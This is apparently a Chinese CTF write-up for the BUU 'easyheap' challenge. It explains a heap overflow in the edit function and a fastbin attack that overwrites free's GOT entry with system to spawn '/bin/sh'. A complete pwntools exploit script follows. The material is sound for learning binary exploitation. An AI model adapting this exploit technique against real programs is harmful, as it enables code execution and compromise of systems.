分析

还是在buu上找的题,应该算是heap入门级别的题吧。

ida x64分析代码:

1646275555460.png

简单的来看,还是一道菜单题,有创建,编辑,删除的功能,但是没有show之类的。

值得注意的一点是,当选择4869的时候,会去查看bss段的一个magic变量的值,如果不小于4869的话就能进到后门函数l33t()里。

1646275683992.png

不管这个路径对不对,反正不用leak libc来拿system函数了。(做过一遍表示,这个路径在buu确实不对)

简单看了一下几个功能,delete的时候清空了heaparray上对应的指针,很难uaf。

但是在edit的时候,重新输入了一个长度,并且这个长度没有检查大小,所以是存在堆溢出的。

这个时候就可以用到fastbin attack来实现一个任意内存的读取。

简单的来说,原理就是利用fastbin只用了单链表来维护,并且没有复杂的unlink机制,将fastbin里面某个fd改成目标fakechunk,然后再利用那个fakechunk的位置去edit,就能达到目的。

1646276083473.png

不管是想要改magic还是说在heaparray上改掉某个函数的got表,都必须去0x6020e8之前的位置找一个fakechunk。

我这里就用修改got表的思路了了。

先要去找到一个可以用的fakechunk,

1646276805854.png

可以看到,在heaparray之前能找到0x7f,所以稍作调整,让0x7f变成fakechunk的size就能绕过fastbin的检查了。

1646276969600.png

这里就可以当成一个fakechunk来使用。

为了让这个fakechunk和之前的chunk放到同一个fastbin里面去,所以我们就要申请总大小为0x71的chunk。

先申请两个0x71的heap,free掉第二个,然后让第一个溢出下去,改掉那个chunk的fd指针,指向0x6020ad

1646277270794.png

这样一来,接下来再申请的第二个chunk就会是bss段上的那个chunk。

然后就可以利用这个chunk,去把heaparray上某一个指针给改成某个函数的got表。

这里我去改的是free的got表,改成system@plt。

然后’/bin/sh\x00’就很好构造了,随便找一个heap,内容改成’/bin/sh\x00’,

这样去free他的时候,就相当于调用了system(‘/bin/sh\x00’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level='debug'
p = process('./easyheap')
elf = ELF('./easyheap')

def choice(idx):
p.recvuntil('ice :')
p.sendline(str(idx))

def create(sz, content):
choice(1)
p.recvuntil('eap : ')
p.sendline(str(sz))
p.recvuntil('eap:')
p.send(content)

def edit(idx, sz, content):
choice(2)
p.recvuntil('dex :')
p.sendline(str(idx))
p.recvuntil('eap : ')
p.sendline(str(sz))
p.recvuntil('eap : ')
p.send(content)

def delete(idx):
choice(3)
p.recvuntil('dex :')
p.sendline(str(idx))

fake_chunk = 0x00000000006020AD
free_got = elf.got['free']
sys_plt = elf.plt['system']

create(0x60, bytes('aaaaaaaa', encoding='utf-8'))
create(0x60, bytes('bbbbbbbb', encoding='utf-8'))
delete(1)
pay = p64(0)*13 + p64(0x71) + p64(fake_chunk) + p64(0)
edit(0, 9999, pay)

# gdb.attach(p)

create(0x60, bytes('aaaaaaaa', encoding='utf-8'))
create(0x60, bytes('aaaaaaaa', encoding='utf-8')) #idx=2

# gdb.attach(p)

pay = bytes('a'*0x23, encoding='utf-8') + p64(free_got)
edit(2, 9999, pay)
pay = p64(sys_plt)
edit(0, 9999, pay)
pay = bytes('/bin/sh\x00', encoding='utf-8')
edit(2, 9999, pay)
delete(2)

# gdb.attach(p)

p.interactive()